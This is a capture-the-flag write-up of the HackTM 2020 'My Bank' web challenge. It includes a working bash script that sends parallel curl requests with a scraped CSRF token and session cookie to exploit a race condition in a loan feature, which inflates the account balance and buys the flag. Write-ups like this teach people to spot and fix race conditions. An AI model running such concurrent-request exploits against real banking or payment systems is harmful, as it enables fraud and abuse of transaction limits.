sp0tless

My Bank [web]

HackTM 2020

> *Who's got my money? Please abstain from brute-forcing files.*

- URL: **http://178.128.175.6:50090**

Recon

A banking website that allows loaning money.

Race

We try a race condition:

```
#!/bin/bash
url="http://178.128.175.6:50090/"
ua="User-Agent: Mozilla/5.0"
cookie="session=.eJwNy0sKAjEMANC7ZG1hmmTy8TLStAmIoKDOSry7vv37wHw96_J-3PIOZwhCNNlimhOPlTor3IYOWjkijbOHFBac4Diu6z-
Ute9SvWGZNaaNm3tko4mdQnRXF_j-AEMAHN8.Xjaggw.o-B9vO_i0Fnredto0K7aoEXTCGI"
ssrf=`curl -s "$url" -H "$ua" -H "Cookie: $cookie" 2>&1 | pcregrep -o1 'name=\"csrf_token\" type=\"hidden\" value=\"
(.*)\"' -`

for i in `seq 15`;
    do curl "$url" -H "$ua" -H "Cookie: $cookie" --data "csrf_token=$ssrf&loan=100" &
```

```
; done

sleep 6 && echo "[*] maybe haxed?" && curl -s 'http://178.128.175.6:50090/' -H "$ua" -H "Cookie: $cookie" 2>&1 |
pcregrep -o1 "Money: (.*) tBTC"
```

The trick here is to append a `&` after the cURL command so that the process moves to the background. This way, you can make multiple requests simultaneously, and more importantly, avoid having to write some complicated code that deals with threads.

This gets us our target: `Money: 1,500.00 tBTC`, we can buy the flag.

Flag

Well done! You have just bought a `HackTM{9f19d6b8fdc9f5c6426343f5b004e6c6794d96b9be329402af463c294297550b}` with 1337 tBTC.